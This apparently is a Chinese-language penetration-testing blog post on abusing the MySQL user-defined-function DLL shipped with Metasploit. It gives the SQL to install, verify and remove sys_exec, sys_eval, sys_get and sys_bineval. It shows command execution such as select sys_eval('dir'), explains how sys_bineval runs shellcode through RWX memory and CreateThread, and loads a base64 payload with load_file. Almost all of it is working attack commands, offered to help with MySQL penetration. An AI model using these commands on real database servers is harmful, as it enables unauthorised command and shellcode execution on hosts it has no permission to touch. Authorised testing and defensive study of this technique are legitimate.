DLL探索
在网上我翻阅了不少的资料,但大多都只介绍了Metasploit内部这个DLL中的’sys_exec’函数。那么除了这个函数之外,其它的函数是否也能为我们所用?通过导出该目录,我发现作者也写了许多其它非常实用的函数。如下所示:
sys_exec
该函数将在“系统”函数内传递参数’args-> args [0]‘。你可以使用它在目标机器上执行系统命令。
安装
create function sys_exec returns int soname 'udf.dll';
验证
select * from mysql.func where name = 'sys_exec'; +----------+-----+---------+----------+ | name | ret | dl | type | +----------+-----+---------+----------+ | sys_exec | 2 | udf.dll | function | +----------+-----+---------+----------+ |
删除
drop function sys_exec;
sys_eval
该函数将执行系统命令并在屏幕上通过标准输出显示。
安装
create function sys_eval returns string soname 'udf.dll';
验证
select * from mysql.func where name = 'sys_eval';
删除
drop function sys_eval;
示例
select sys_eval('dir');
sys_get
该函数使用’getenv’函数返回系统变量的值。
安装
create function sys_get returns string soname 'udf.dll';
验证
select * from mysql.func where name = 'sys_get';
删除
Drop function sys_get;
示例
Select sys_get('longonserver');
执行Shellcode – sys_bineval
我在这个DLL里面找到了一个非常实用的函数’sys_bineval’。该函数将使用’VirtualAlloc’API分配RWX内存,并使用’strcpy’将’args-> args [0]‘复制到新分配的内存中。然后,这个缓冲区被传递给’CreateThread’API来产生一个新的线程。
如果我们查看’CreateThread’API,可以看到它使用’strcpy’复制缓冲区的’lpParameter’作为指针传递给线程的变量。’StartAddress’中的函数将直接移动’lpParamter’并调用ptr rax,这将改变RIP到我们的shellcode。
安装
create function sys_bineval returns int soname 'udf.dll';
验证
select * from mysql.func where name = 'sys_bineval';
删除
drop function sys_bineval;
示例
然而,我并没有在64位的平台成功执行该函数,在32位的平台该函数正常执行。你可以直接打开原始二进制文件或将其编码为base64或十六进制并实用该函数执行。
select sys_bineval(from_base64(load_file('./calc.b64')));
我注意到这些外部UDF函数在拆解代码中没有做适当的异常处理。因此,在调用这些函数时稍有错误就会导致mysqld.exe服务器崩溃。最后,我希望我的分享能为大家在对MySQL渗透时起到帮助。